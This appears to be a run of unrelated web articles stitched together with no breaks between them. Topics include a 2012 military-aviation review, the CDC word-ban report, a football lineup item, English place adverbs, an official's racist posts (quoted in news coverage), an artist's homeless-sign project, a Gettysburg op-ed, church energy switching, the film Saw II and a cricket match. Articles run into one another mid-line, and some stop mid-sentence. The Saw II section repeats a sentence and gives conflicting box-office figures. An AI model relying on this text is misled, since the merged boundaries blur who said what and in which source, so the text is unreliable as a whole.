The development of such an aircraft had been placed in doubt by some who questioned the need for it with the availability of modern air defence systems.
July: Syrian city "bombed by fighter jets"
The Syrian civil war escalated further, as reports suggested that the nation’s second city of Aleppo was bombed by fighter jets, with President Bashar al-Assad attempting to quell the rebel uprising.
The attack marked the first time such aircraft were used during the conflict, with the BBC reporting that Russian-built MiG-23 aircraft were responsible for the attack.
The attack came just weeks after Russia confirmed it would renege on a deal under which Syria were to receive 40 Russia-built Yak-130 fighter jets.
Russian news agency RIA quoted deputy director of the Russian service for military co-operation Vyacheslav Dzirkaln as saying "while the situation in Syria is unstable, there will be no new deliveries of arms there."
August: Iran to withdraw $4bn claim if Russia honours S-300 contract
Having issued a $4bn lawsuit to Russia, Iranian ambassador to Russia Mahmoud-Reza Sajjadi announced that the country would withdraw it should Russia honour its original S-300 SAM system delivery contract, signed in 2007.
Russia was forced to cancel the lucrative deal after it was found to breach a UN Security Council arms embargo forced on Iran in June 2010, despite Iranian claims to the contrary.
In other news, the USAF’s test of the Boeing-built X-51A Waverider aircraft ended in failure, raising further questions about the future of the programme.
Despite hoping to reach hypersonic speeds, the USAF has just one hypersonic test aircraft remaining and doubts have been expressed regarding the feasibility of the technology.
September: Sukhoi conducts Su-30SM jet’s maiden test flight
A quiet month allowed Sukhoi to steal the headlines, as it revealed the successful test flight of its Su-30SM fighter jet, developed for the Russian Air Force.
The test flight lasted for two hours and the super-manoeuvrable, thrust-vectoring aircraft was said to have performed flawlessly.
A total of 30 fighters have been ordered by the Russian Defence Ministry in a $3.3bn deal signed in March 2012.
October: Lockheed to upgrade Taiwan’s F-16 fighter jets
In something of a surprise move, the US Government tasked Lockheed Martin with upgrading 145 F-16 fighter jets that belong to the Republic of China Air Force.
The $1.85bn contract will see Lockheed install AESA radars while also upgrading the aircraft’s electronic warfare and avionics systems.
The USAF also moved to confirm that it would press ahead with the X-51A Waverider programme, with Air Force Research Laboratory programme manager Charlie Brink informing Reuters that the launch of the final X-51A test vehicle would go ahead in spring or early summer 2013, after modifications had been made.
November: Israeli MoD test fires upgraded Iron Dome system
Israel test-fired an upgraded version of its Iron Dome anti-rocket defence system, just days before an escalation in the nation’s conflict with Gaza that left the region teetering on the brink of war.
The upgrade, designed to boost the system’s performance, saw deployed Iron Dome batteries achieve success rates of 90-100% in combating rockets fired from Gaza during the escalation.
In other news, Russia announced a deal under which China will receive 24 Su-35 fighters for its People’s Liberation Army Air Force, with a $1.5bn contract expected to be signed in 2013 or 2014.
The announcement renewed a deal that had previously seemed dead, with Russia accusing China or reverse engineering during the development of its J-11B aircraft.
December: North Korea launches long-range missile
Despite warnings that any such launch would increase tensions within the region, North Korea pressed ahead and successfully launched its three-stage Kwangmyongsong-3 rocket, with opposition governments claiming it to be a test of long-range missile technology.
Debris from the launch fell into the Yellow Sea and Philippine Sea, with South Korean forces managing to salvage some of the debris for testing.
Japan had pledged to shoot down the rocket should it threaten the nation’s security, a threat echoed by South Korea.The Centers for Disease Control and Prevention is pushing back against a report alleging that the Trump administration had banned the organization from using specific words in next year’s budget documents.
The Washington Post reported the news on Friday, citing an analyst who had been briefed on the ban of seven terms, which was confirmed by other CDC officials. The banned words, according to the Post included “vulnerable,” “entitlement,” “diversity,” “transgender,” “fetus,” “evidence-based” and “science-based,” and the reason for the ban was not clarified in the briefing.
“I want to assure you there are no banned words at CDC. We will continue to talk about all our important public health programs,” CDC Director Brenda Fitzgerald said in a Facebook post. “I want to assure you that CDC remains committed to our public health mission as a science- and evidence-based institution. As part of our commitment to provide for the common defense of the country against health threats, science is and will remain the foundation of our work.”
The CDC also included a statement from the department of Health and Human Services Department, who called the report a “mischaracterization.”
“HHS will continue to use the best scientific evidence available to improve the health of all Americans. HHS also strongly encourages the use of outcome and evidence data in program evaluations and budget decisions,” the organization said.
Write to Alana Abramson at [email protected] tackle Jake Matthews doesn't lack for confidence, and if the team wants to move him, he says he's ready to take on a role at left tackle.
With Sam Baker (knee) injured, rookie Jake Matthews tells me he's ready to move to left tackle. http://t.co/jvwwuCQuVz — vaughn mcclure (@vxmcclure23) August 17, 2014
The Falcons won't tip their hand so early, but it seems like Matthews at left tackle is a real possibility. He must know that, and thus he's comfortable telling McClure he's ready. There's little doubt the Falcons drafted him to be the left tackle of the future, so in my humble opinion there's little sense in pushing that future off.
"I'll do it," Matthews told ESPN.com of moving to left tackle. "That's what they drafted me for: to come here and play wherever. And something I take a lot of pride in is my versatility and being able to play on either side. If they ask me to move over, I'll be happy to do it."
I'd give Matthews first team reps there in the third game of the preseason and see how he holds up, while rotating some of your right tackle candidates. If you really see something that makes you uncomfortable, perhaps a signing should happen, but it's not like Matthews will be learning the left for the first time. He spent time there at Texas A&M and excelled, after all.
Your thoughts on Matthews at left tackle?In contemporary English, here refers to the speaker’s location regardless of whether the sentence involves things or people remaining in that place, moving to that place, or leaving that place. We say I have been waiting here for hours or Come here! or Get out of here! But historically English has used three separate adverbs to convey these three different relations to place. A speaker of the sixteenth century might have said I have been waiting here for hours, but she would have said Come hither! instead of Come here! and Get thee hence! instead of Get out of here!
Likewise, when referring to a location other than where we are, we now use there indiscriminately: Who is there? I will take you there. We sailed from Ireland to Iceland and from there to Greenland. Our sixteenth-century speaker, for her part, might have said Who is there? but I will take you thither or We sailed from Ireland to Iceland and thence to Greenland.
Finally, for asking about places, though English relies now on just where, there were once three separate adverbs. If our twenty-first-century speaker says Where am I? or Where are you going? or Where is that smell coming from? our hypothetical Elizabethan speaker might say Where am I? or Whither goest thou? or Whence cometh that reek?
The astute reader will recognize a pattern in these sets of adverbs. Those dealing with the speaker’s location all begin with h-, those dealing with another known location begin with th-, and those dealing with an unknown location begin with wh-. Furthermore, those adverbs describing circumstances at a place end in –ere, those describing motion toward a place end in –ither, and those describing motion away from a place end in –ence:
This place: That place: What place:
At a place: here there where
To a place: hither thither whither
From a place: hence thence whence
Of course, the adverbs in the lower two rows of this grid haven’t dropped entirely out of use in English; they all survive to one degree or another. Hither lives on in the adjective come-hither, as in “a come-hither look,” as well as in the idiom hither and yon, and hence still sees frequent service as an adverb, though nowadays we use it more to mean “for that reason” rather than “from this place.” And whither remains perennially popular in titles of magazine articles and newspaper opinion pieces, where “Whither X?” is used as shorthand for “What is happening or going to happen to X?” in titles like “Whither the Democratic Party”? or “Whither the Music Industry?” or “Whither the American Male?”
Thank you for visiting the American Heritage Dictionary at ahdictionary.com!David Barber (WBTV, screenshot)
The deputy director of the Department of Corrections in Shelby County, Tennessee took to his Facebook page to post some violently racist posts, Slate reports.
David Barber, who worked for the county for roughly 17 years managing budgets and inmate records at state prisons in Tennessee, resigned over the posts on Tuesday, according to WBTV.
The posts included an image by “The Free Patriot” with a photo of Obama next to a member of the KKK that read “Lets (sic) get 5000 LIKES for kicking this clown out of office for good!” Barber’s caption noted, “The KKK is more American than the illegal president!”
He wrote in another post, “If TRUMP wins and obummer cannot start martial law, he will run to his new mansion in thaArab (sic) world to hide. Hopefully the Muslims will eliminate him and mooshelle as queers.”
In another post that featured a story about Lena Dunham, Barber wrote, “I am concerned that media using mixed race couple’s (sic) in ads as normal is one way liberal’s (sic) are trying to eliminate the white race.”
The department was made aware of the posts last Friday and Barber would have likely faced termination if he did not resign on his own.
Shelby County Mayor Mark Luttrell said at a press conference, “I was offended. I think anybody who read it would be offended. It was horrible. It was very offensive.”
Luttrell added, “This was an action by |
. He’s bought hundreds of them, and he uses them in art exhibits and performances about homelessness and the concept of home.
And now, he’s on a monthlong cross-country shopping trip, a mission to drive through 24 U.S. cities from Seattle to New York buying signs.
The project is being funded with $48,000 raised at the Indiegogo crowd source funding site. The end result will be art installations and exhibits, a documentary film and a book with the aim of raising awareness about homelessness and providing information and resources to people who want to help.
700 SIGNS AND COUNTING
On Tuesday, in his 11th city, 14th day, 134th sign and 4,431st mile of his road trip, Baronet climbed out of a rented Dodge Avenger equipped with GoPro cameras near the Dorothy Day Center in downtown St. Paul to scout sign-purchasing locations and meet with Margaret Kelly, a Lutheran pastor who is setting up a new congregation aimed at serving the homeless, near homeless and people in poverty.
Baronet, 54, said he bought his first sign in response to the guilt, discomfort and indecision he felt when seeing a person on the street with a sign asking for money.
“Once I started, it was hard to stop,” he said. He estimates he’s bought about 700 signs, paying about $4 to $40 each.
He said he hopes the art he produces will result in “more awareness and compassion in general.”
“I would love it for people to acknowledge people as human beings,” he said.
“There is a part of me that wants to make people uncomfortable, too,” he said. “I’m trying to put it in a context where they’re less likely to ignore the signs.”
Cardboard signs carried by homeless can be a form of marketing and heartfelt personal expression, according to Baronet, a former ad designer.
He said there are memes in the signs that have spread across the country like variations on the “Will work for food” or “Will work for beer” sentiment.
There are humorous signs: “Family kidnapped by ninjas. Need money for karate lessons,” “Vibrator out of batteries. Help. Urgent.”
And desperate signs: “Hungry,” “Embarrassed mother with three kids. Don’t want to be on the street.”
Baronet said he’s bought signs from pregnant women and veterans. Some signs have elaborate drawings or religious photos. Some are worn and almost unreadable from long use.
“I’ve got signs people have been holding for 15 years,” he said.
“Some of the signs I find most compelling are ones that are just scrawled and look like the emotion and just the pain is in the letters,” he said.
But some signs are wordless.
“One of the signs was just an Indian headdress with a bear claw. Didn’t have a single word on it,” he said. Another person Baronet encountered asked for money by simply holding up a Schlitz malt liquor carton.
Standing on the road with a cardboard sign asking for money is called “signing” or flying a sign, according to those who do it.
‘WILL YOU SELL ME YOUR SIGN?’
This week, when Baronet saw a signer on the Interstate 94 exit ramp at Snelling Avenue in St. Paul, he rolled down his car window to ask, “Hi, sir, will you sell me your sign?”
“Yeah,” said the man.
“How much?” said Baronet.
“I don’t know.”
Baronet offered $10, and the man agreed. Then the man started telling Baronet about his work history and his efforts to get a job at the State Fair.
Another signer on Snelling Avenue told Baronet not to film him, but he agreed to haggle for his sign, at first demanding $50. He ultimately agreed to part with it for $20.
On the exit ramp at I-94 and Lexington Avenue, Baronet offered $20 to a man named George Blanchard who couldn’t at first think of a price for his sign.
“It’s for an art project,” Baronet said.
“I probably would’ve sold it for $2,” Blanchard admitted.
By the time Baronet had parked his car and walked back to Blanchard to talk to him, Blanchard already had another sign out. Baronet bought that, too, for $10.
“That’s my simple sign. I like that one. I think it’s really good,” Blanchard said of the sign which read, “Grateful for any help God bless.”
Blanchard said not everyone gives him money, but he said some smiles he’s gotten from drivers are worth more than cash.
Baronet asked Blanchard a question he’s been asking people across the country: “What does home mean to you?”
“What is home? Well, see now, I haven’t had a home since my wife died,” said Blanchard, 56. “See when me and her were together, she made it a home.”
After chatting for a while, Baronet walked back to his car so that he and his camera crew could get on the road to their next stop, Milwaukee.
By the time they got back to the intersection, Blanchard had another sign out.
Richard Chin can be reached at 651-228-5560. Follow him at twitter.com/RRChin.\
FYI
For more information about Willie Baronet’s project, “We Are All Homeless,” see weareallhomeless.org and www.facebook.com/weareallhomeless.Systemic injustice threatens democracy
One hundred fifty one years ago today the pivotal battle of the Civil War was fought, as Union soldiers succeeded in holding off Confederate charges on Little Round Top at Gettysburg. If the 20th Maine Volunteer Infantry Regiment had been overrun by southern troops, the Confederacy may very likely have prevailed in the Civil War, embedding slavery even deeper into the fabric of our country.
I have been thinking about Gettysburg a lot over the past week. Just eight days ago, my 95-year-old father died, after a great and productive life. His great grandfather, Ira Meserve, was a union soldier wounded at Gettysburg, shot through both knees and not discovered until a couple of days later when the dead were being picked up off the field of battle. Ira survived, and our family still has the bullet that brought him down. Ira was one of 46,000 casualties of Gettysburg, including almost 8,000 dead.
President Abraham Lincoln declared, “we here highly resolve that these dead shall not have died in vain — this nation, under God, shall have a new birth of freedom.”
And yet, when my father was born, the new birth of freedom for black Americans had been turned back by Jim Crow laws, lynchings, withholding of the franchise, and just plain mean discrimination, fear-mongering, and white-on-black violence.
Fast forward to 1964. Fifty years ago Freedom Summer was launched in Mississippi to attempt to register black citizens to vote. This threat of equality was met by terrorism from the white power elite. Four civil rights workers and three Mississippi blacks were killed, 80 Freedom Summer workers were beaten, 1,062 people were arrested, 67 churches, homes and businesses were bombed or burned.
Freedom Summer was part of the civil rights movement that led us to a new nation, in which racial equality was possible, indeed, the law. But underneath the cover of equality and the seemingly racial blindness of the law, a different reality has emerged. Another layer of disenfranchisement, discrimination, and outright kidnapping of democracy has taken place.
Ronald Reagan signaled the start of this new reality when he launched his campaign for the presidency at a county fair in Philadelphia, Mississippi, near where civil rights workers were murdered in 1964. Reagan promised to “restore to states and local governments the power that properly belongs to them.” Welcome back, Jim Crow.
But Reagan was more sophisticated than this. He launched the War on Drugs in 1982, when the country was suffering through a recession and needed a scapegoat. Reagan targeted urban areas with large black populations. He increased the budgets of federal law enforcement by over tenfold, while slashing the budgets of agencies focused on drug treatment and prevention by 80 percent. With a series of Supreme Court decisions, we all lost significant constitutional rights regarding search and seizure, witness coercion, and legal representation. With a focus on drugs, but not drugs more habitually used by whites, the United States ramped up its policing. State and federal prisons now hold over 2.2 million people. Another 4 million are on probation. Almost another million are on parole. Altogether, over two and a half percent of the total population of our country are ostracized into a second-class caste, stripped of rights and responsibilities, and unable to vote. That includes almost one out of every 12 blacks.
The Civil War was a battle cry for freedom, not incarceration. And yet, we live in a country in which we deny six million Americans the right to vote. In Washington state, 30,000 people are incarcerated, 90,000 are on probation, and 8,000 are on parole. Of these, 53,000 are denied the franchise.
We like to think that we rehabilitate criminals, but we don’t. We punish them, we force them into a lower caste, and deny them the right to vote. As we celebrate our independence, we can draw a line from the Civil War and Gettysburg, to the Civil Rights Movement, and on into our own future. We can create a nation that indeed shall have a new birth of freedom, so we can realize a government of the people, by the people, for the people … including all of the people of our great country. It is our arc of history to make.
Via The Everett HeraldLONDON (Thomson Reuters Foundation) - More than 400 churches in the United Kingdom plan to switch to clean energy providers for their light and heat, shifting spending of 1 million pounds ($1.4 million) to renewables from fossil fuels, two Christian charities said on Wednesday.
The move is part of the Big Church Switch, an initiative launched in February by charities Christian Aid and Tearfund, which urged UK churches and households to use clean sources of energy instead of carbon-emitting fossil fuels.
Their online platform connects those who sign up with energy experts, promising to find them the best renewable deal by negotiating with energy providers.
“As individuals and churches we have a choice in how we treat the earth, how we spend our money, how we power our homes and our buildings,” David Walker, the Anglican bishop of Manchester, said in a statement.
“By creating technology which can turn wind and sunshine into clean and renewable energy, humans continue to benefit from the gift of creation. Making the most of this bountiful harvest is a common sense way for us to roll back the ravages of climate change and ensure we are taking an active role in being part of the solution.”
Among the 424 churches that have registered with the Big Church Switch is the world’s oldest Methodist chapel, The New Room in Bristol, built by John Wesley.
“We may be the oldest Methodist building in the world but that doesn’t mean we have to use the polluting energy of the past,” David Worthington, manager of The New Room, said in a statement.
“Switching our energy provider to clean sources of power is a simple thing we can do to help the global transition to a low carbon world. If we, in a building as old as ours, can embrace the idea of renewable energy, then anyone can.”
Pope Francis, the leader of the 1.2 billion-member Catholic Church, has been outspoken about the need for reductions in carbon emissions to tackle climate change.
He heartened environmentalists around the world in June when he urged immediate action to save the planet from the effects of climate change, declaring that the use of “highly polluting fossil fuels needs to be progressively replaced without delay.”
The Church of England has some 16,000 churches, while the Methodists have about 6,000 chapels.
($1 = 0.6945 pounds)This article is about the film. For the video game, see Saw II: Flesh & Blood
Saw II is a 2005 American horror film and the second installment in the Saw franchise, directed and co-written by Darren Lynn Bousman and series creator Leigh Whannell. The film stars Donnie Wahlberg, Franky G, Glenn Plummer, Beverley Mitchell, Dina Meyer, Emmanuelle Vaugier, Erik Knudsen, Shawnee Smith, and Tobin Bell.
The film features Jigsaw being apprehended by the police, but trapping the arresting officer in one of his own games while showing another game of eight people — including the officer's son — in progress on TV monitors at another location. It also explores some of John Kramer's backstory, providing a partial explanation of his reason for becoming Jigsaw.
After the financial success of Saw, a sequel was immediately green-lit. Leigh Whannell and James Wan were busy preparing for their next film and were unable to write or direct. Bousman wrote a script called The Desperate before Saw was released and was looking for a producer but many studios rejected it. Gregg Hoffman received the script and showed it to his partners Mark Burg and Oren Koules. It was decided that, with some changes, it could be made into Saw II. Whannell became available to provide rewrites of the script. The film was given a larger budget and was shot from May to June 2005 in Toronto.
Saw II was released on October 28, 2005 and, despite mixed reviews from critics, was a financial success, with opening takings of $31.9 million and grossing $88 million in the United States and Canada. It has remained the highest grossing Saw film in those countries. Bell was nominated for "Best Villain" at the 2006 MTV Movie Awards for his role as Jigsaw in the film. Saw II was released to DVD on February 14, 2006 and topped charts its first week, selling more than 3 million units. At the time, it was the fastest-selling theatrical DVD in Lionsgate's history.
Plot [ edit ]
Informant Michael Marks awakens in a room with a spike-filled mask locked around his neck. A videotape informs him that in order to unlock the device, he must cut into his eye to obtain the key. He sets off the timer and finds the scalpel, but cannot bring himself to retrieve the key and is killed after sixty seconds when the mask closes.
At the scene of Marks' game, Detective Allison Kerry finds a message for her former partner, Detective Eric Matthews, and calls him in. Despite not wanting to be involved in the case, Eric reluctantly joins Kerry and Sergeant Daniel Rigg in leading a SWAT team to the factory, which produced the lock from Marks' trap. There they find and apprehend John Kramer, the Jigsaw Killer, who is weak from cancer. He indicates several computer monitors showing eight people trapped in a house; including his only known survivor Amanda Young, and Eric's estranged son Daniel. The other victims are called Xavier, Gus, Jonas, Laura, Addison, and Obi. A nerve agent filling the house will kill them all within two hours, but John assures Eric that if he follows the rules of his own game, by simply talking with John, he will see Daniel again. At Kerry's urging, Eric agrees in order to buy time for the tech team to arrive and trace the video signal.
The victims are informed by a micro-cassette recorder that antidotes are hidden throughout the house; one is in the room's safe, and they have the combination with the "numbers in the back of their mind." Xavier ignores a warning note and uses the key provided with the cassette on the door, which fires a bullet through the peephole as Gus looks through it, killing him. They search the house for more antidotes after the door opens, but with no success. After discovering a door, the group travel to the basement where Obi, who is revealed to have helped with the abductions, is forced into a crematory oven to obtain two antidotes. He inadvertently activates the trap and is burned to death before the others can save him, destroying the antidotes as well. In another room, Xavier's test is to go into a pit full of needles and retrieve the key to the door in two minutes, but he instead throws Amanda into the pit and forces her to do it, which she fearfully feels unable by all the needles, but Xavier rushes her. Pressured, she digs her way in the needle pit until finally retrieving the key, which she gives to Xavier, but the group runs out of time to unlock the door containing the antidote and he leaves out of frustration. Throughout the game, the victims discuss connections between them and determine that each has been jailed before; with the sole exception of Daniel.
Meanwhile, John passes the time with both idle and cryptic chat, eventually telling Eric that his survival of a suicide attempt after his diagnosis is the true reason for his games. With the little time he has left, he wants to inspire in others the new appreciation for life he had found. Not interested in any of this, Eric runs out of patience and returns to the monitors. He destroys several of John's documents and sketches at Kerry's suggestion, but fails to provoke John. As the tech team arrives, John reveals the connection between the victims: Eric has framed all of them for various crimes, and Daniel will be in danger if his identity is discovered.
Having left the others, Xavier returns to the safe room and finds a colored number on the back of Gus' neck. After realizing the answer to the clue, he kills Jonas with a spiked bat for his number after a brief fight and begins hunting the others. Laura succumbs to the nerve agent and dies, after finding the clue revealing Daniel's identity. Addison and Amanda abandon him, but Amanda returns after finding Jonas' body. Addison finds a glass box containing an antidote, but her arms become trapped in the arm holes which are lined with hidden blades, Xavier attempts to help, but when he reads Addison’s number, he leaves her to die. Amanda and Daniel find a tunnel in the safe room, which leads to the bathroom from the first film. Daniel collapses inside just before Xavier finds them. Amanda notes that he cannot read his own number, so he skins a piece of the back of his neck off. As he approaches Amanda as an attempt to kill her, Daniel, who feigned his collapse, jumps in the way and slashes his throat with a hacksaw, killing him.
Having seen Xavier chasing his son, Eric brutally assaults John and forces him to lead him to the house. John's sitting area is revealed to be a lift, which they use to leave the factory. The tech team tracks the video's source and Rigg leads his team to a house, where they find VCRs playing previously recorded images. As Kerry realizes the game took place before they found John, the timer expires and a large safe opens, revealing Daniel bound and breathing into an oxygen mask. Eric enters the house alone and eventually locates the bathroom, where he is attacked by a pig-masked figure. He awakens shackled at the ankle to a pipe, and a tape recorder left by Amanda reveals that she is John's accomplice and intends to continue his work after he dies. Amanda suddenly appears in the doorway, and says "Game Over" before sealing the door, leaving Eric to die.
Cast [ edit ]
Production [ edit ]
Development and writing [ edit ]
Saw II was immediately green-lit after Saw's successful opening weekend a year earlier.[5] Producers needed a script for a sequel [6] but James Wan and Leigh Whannell, director and writer of Saw, were working on Universal Pictures's Dead Silence. Music video director Darren Lynn Bousman had just completed a script for his first film The Desperate, and was trying to sell it to studios but was getting reactions that the script was very similar to Saw. A German studio eventually approached him with an offer to produce the film for $1 million. Just as they were looking for a cinematographer, the American cinematographer David A. Armstrong, who had worked on Saw, arrived on the scene and suggested showing the script to Saw producer Gregg Hoffman.[7] Hoffman read the script and called Bousman wanting to produce The Desperate. After Hoffman showed the script to his partners Mark Burg and Oren Koules,[8] the two decided that The Desperate was the starting script they needed for Saw II and two months later, Bousman was flown to Toronto to direct.[8]
Whannell polished the script, with input from Wan,[9] in order to bring it into the Saw universe,[6] but kept the characters, traps and deaths from The Desperate script.[10] Bousman said, "But you could read the script for The Desperate and watch Saw II, and you would not be able to draw a comparison".[7] Wan and Whannell also served as executive producers. All the previous film's crew members returned: editor Kevin Greutert, cinematographer Armstrong, and composer Charlie Clouser. This was to be Hoffman's last film. He died unexpectedly on December 4, 2005.[11]
Only those key cast and crew members who were involved in the film's ending were given the full script; the rest received only the first 88 pages. If a particular page was rewritten, the old page was shredded. Members were also required to sign confidentiality agreements requiring them not to release any plot details.[12] Reportedly, "four or five" alternate endings were shot in order to keep the ending a surprise.[9] Bousman gave the actors freedom to change dialogue in the script. He said that 95% of the time, the actors went by the script, with about 5% being adlibs, which he said "made all of the difference in the world".[13] Hoffman said in an interview with Fangoria that they listened to fans' suggestions. For instance, instead of only showing the aftermath of a character violently dying in a flashback, they would allow it to unfold as it happened. This was in contrast to Saw, in which most of the violence was implied off-screen.[14]
Filming and post-production [ edit ]
Saw II was given a larger production budget of $4 million,[15] compared to Saw's budget of a little over $1 million.[16] The marketing budget was an additional $2 million.[17] The first shot, which involved shooting police cars and a SWAT van driving around the industrial docklands outside the soundstage,[18] was filmed on April 29, 2005 in Toronto. After two months of pre-production,[10] principal photography took place over 25 days at Toronto's Cinespace Film Studios from May 2, 2005 to June 6, 2005.[18][19][20] The ending was filmed on May 25 and 26.[21] The music and sound was recorded in July and Saw II was locked on July 16. It was completely finished by September 9.[20] Visual effects were performed by C.O.R.E. Digital Pictures and post-production services were provided by Deluxe.[9]
Trap designs [ edit ]
David Hackl, the film's production designer, took three weeks to construct 27 sets on a single sound stage.[9] The puppet Billy, used in the series to give instructions to Jigsaw's victims, was originally created by Wan out of paper towel rolls and papier-mâché. Given the larger budget for the sequel, Billy was upgraded with remote-controlled eyes and a servo-driven mouth.[22] In one trap, "The Needle Room", Smith's character Amanda is thrown into a pit of needles to find a key. In order for this to be done safely, four people, over a period of four days, removed the needle tips from syringes and replaced them with fiber optic tips. They modified a total of 120,000 fake needles. However, this number was insufficient and the pit had to be filled with styrofoam and other materials to make it appear to have more needles. The needles that were apparently stuck into Smith were actually blunted syringes stuck into padding under her clothing. For certain shots, a fake arm was used.[23]
Saw II was Bousman's first feature film. was Bousman's first feature film.
Bousman came up with an idea whereby a character's hands would get stuck in some sort of vessel and this resulted in the "Hand Trap". It proved to be a challenge but after much discussion, Hackl, property master Jim Murray and art director Michele Brady came up with a suitable design. They arranged a glass box suspended by chains from the ceiling which contained a hypodermic needle with the antidote and which had two hand-holes on the underside. As soon as Vaugier's character Addison put her hands into the holes razor blades would close in on her hands and any attempt to withdraw from the trap would cause her to bleed to death. In order for the trap to be used safely, the prop builders made the handcuffs move inside the box and fake blades that would retract from the actress's hands, thus allowing her to slide her hands out. Hackl subsequently commented that the character did not have to put her hands into the trap as there was a lock with a key on the other side box that would have opened the contraption.[24][25]
The original idea for the "Furnace Trap" came from the house having been a crematorium at some point, but this would have involved turning the house into a funeral parlor, so it was instead decided that the furnace would be part of the house's boiler system. The furnace was visualized in the form of a computer model so that Bousman could better understand how shots could be filmed. Using the computer model as a guide, the furnace was constructed in three days using cement board and tin with removable sides and top so Timothy Burd (Obi) could be filmed crawling inside. The furnace produced real flames and, in place of Burd, a stunt man using a fire retardant gel crawled into the fire.[26]
Soundtrack [ edit ]
The Saw II soundtrack was released on October 25, 2005 by Image Entertainment.[27] The video for "Forget to Remember" was also directed by Bousman.[28]
Release [ edit ]
Saw II was released in New Zealand, the United States, and the United Kingdom on October 28, 2005; and November 17, 2005 in Australia. The original teaser poster showing two bloody, severed fingers was rejected by the Motion Picture Association of America.[29] Since the poster was already released and managed to "slip by" the MPAA, they issued a release stating the poster was not approved and was unacceptable; Lionsgate removed the poster from their websites.[30] The image was used instead for the film's soundtrack cover.[27] Lionsgate held the second annual "Give Til It Hurts" blood drive for the Red Cross and collected 10,154 pints of blood.[31][32]
Home media [ edit ]
Saw II was released on DVD, VHS, and Universal Media Disc on February 14, 2006 through Lionsgate Home Entertainment. The DVD debuted as number one selling 2.5 million units in its first day. It went on to sell 3.9 million units its first week, becoming the fastest selling theatrical DVD in Lionsgate's history.[33]
On October 24, 2006, an Unrated Special Edition was released, while an Unrated Blu-ray edition was also released with various special features on January 23, 2007.[34][35]
Reception [ edit ]
Box office [ edit ]
Saw II opened with $31.7 million on 3,879 screens across 2,949 theaters.[36] The three-day Halloween opening weekend set a Lionsgate record. It became at the time, the widest release for Lionsgate and one of the best opening weekends for a horror sequel.[37] For its second weekend it fell 47% making $16.9 million.[38] The film was closed out of theaters on January 5, 2006 after 70 days of release.
Saw II opened in the United Kingdom with $3.8 million on 305 screens, 70% larger than the first instalment. It opened in Japan on 67 screens with $750,000.[39] Opening to $1.3 million on 173 screens it was the number one film in Australia.[40] The film grossed $87 million in the United States and Canada and $60.7 million in other markets for a worldwide total of $147.7 million.[4] The film is the highest-grossing film of the Saw series and Lionsgate's fourth highest-grossing film in the United States and Canada.[41][42] According to CinemaScore polls, 53% of the audience were males under 25 years of age. The poll also indicated that 65% of the audience were familiar with the first film.[43]
Release date
(United States) Budget
(estimated)[4] Box office revenue[4] United States/Canada Other markets Worldwide October 28, 2005 $4,000,000 $87,039,965 $60,708,540 $147,748,505
Critical response [ edit ]
The film received generally mixed reviews from critics, who praised the acting, particularly the performances of Bell and Wahlberg, while criticizing the gruesome nature of the story. Review aggregator Rotten Tomatoes reports that 37% of 120 critics have given the film a positive review, with a rating average of 4.6 out of 10. The site's consensus was, "Saw II is likely to please the gore-happy fans of the original, though it may be too gruesome for those not familiar with first film's premise."[44] Metacritic, which assigns a weighted average score out of 100 to reviews from mainstream critics, gives the film a score of 40 based on 28 reviews, indicating "mixed or average reviews".[45]
Robert Koehler of Variety gave the film a negative review, saying "cooking up new Rube Goldberg torture contraptions isn't enough to get Saw II out of the shadow of its unnerving predecessor".[46] Gregory Kirschling of Entertainment Weekly gave the film a B minus, saying "Saw II is just barely a better B flick than Saw" and that both films are "more clever and revolting than they are actually chilling". He praised Bell's performance as Jigsaw, saying "As the droopy-lidded maniac in the flesh, Tobin Bell is, for all the film's gewgaws, Saw II's sturdiest horror, a Terence Stamp look-alike who calls to mind a seedy General Zod lazily overseeing the universe from his evildoer's lair". He ended his review: "Where Saw II lags behind in Saw's novelty, it takes the lead with its smoother landing, which is again primed to blow the movie wide open, but manages a more compelling job of it than the original's cheat finish".[47]
Kevin Crust of the Los Angeles Times gave the film a positive review, calling Saw II a "worthy follow-up to its grisly predecessor". He said the story was "much more focused on an endgame than the original film. There are fewer credibility gaps and there are plenty of reversals to satisfy fans". He criticized the use of numerous flashbacks, saying that it "rob[s] us of the pleasure of actually remembering for ourselves".[48] Laura Kern, writing for The New York Times, gave it a mixed review, saying that Bousman "delivers similar hard-core, practically humorless frights and hair-raising tension, but only after getting past a shaky beginning that plays more like a forensics-themed television show than a scary movie" and called Greutert's editing "crafty". She called the sequel "more trick than treat" and that it "doesn't really compare to its fine predecessor - though it still manages to be eye-opening (and sometimes positively nauseating) in itself".[49] Empire's Kim Newman gave the film three out of five stars. He said that the film improves upon Saw's "perverse fascination with Seven-style murders and brutally violent puzzles" and that Jigsaw's intellectual games make "Hannibal Lecter look like the compiler of The Sun's quick crossword". He ended his reviews saying, "Morally dubious it may be, but this gory melange of torture, terror and darkly humorous depravity appeals to the sick puppy within us all".[50]
Accolades [ edit ]
Tobin Bell was nominated for "Best Villain" at the 2006 MTV Movie Awards for his role as Jigsaw,[51] though the award went to Hayden Christensen for his role as Darth Vader in Star Wars: Episode III – Revenge of the Sith.[52]Bangladesh 174 (Vettori 3-32, Mills 3-36) beat New Zealand 171 (Elliott 59, Rubel 4-25) by three runs
Scorecard and ball-by-ball details
Rubel Hossain picked up his first Man-of-the-Match award © Associated Press
The Sher-e-Bangla National Stadium may have been operating at a fraction of its full capacity due to World Cup renovations, but another nail-biting victory to Bangladesh in the final ODI against New Zealand sparked rapturous celebrations in the Mirpur crowd as the home team stormed to a 4-0 whitewash. Bangladesh had been bowled out for just 174 by a spirited New Zealand attack that showed plenty of fire in the first half of the dead rubber, but a catastrophic top-order collapse ensured that not even a trademark fightback from the lower-order could restore some pride to an outfit that was thoroughly outplayed throughout the series.
The rot began with Brendon McCullum's wicket, when he top-edged a Rubel Hossain delivery that was far too wide to pull in the second over before Jesse Ryder capped his torrid tour, playing all around one that kept low in Rubel's next over. BJ Watling was then run out after Ross Taylor called for an ill-advised second run. When Kane Williamson and Taylor were undone by two terrific deliveries in consecutive overs, it left New Zealand reeling at 20 for 5. The visitors seemed headed towards their most humiliating defeat of the disheartening tour. Bangladesh were on the attack, and nothing short of a gutsy lower-order fightback could prevent the hosts from inflicting an embarrassing defeat.
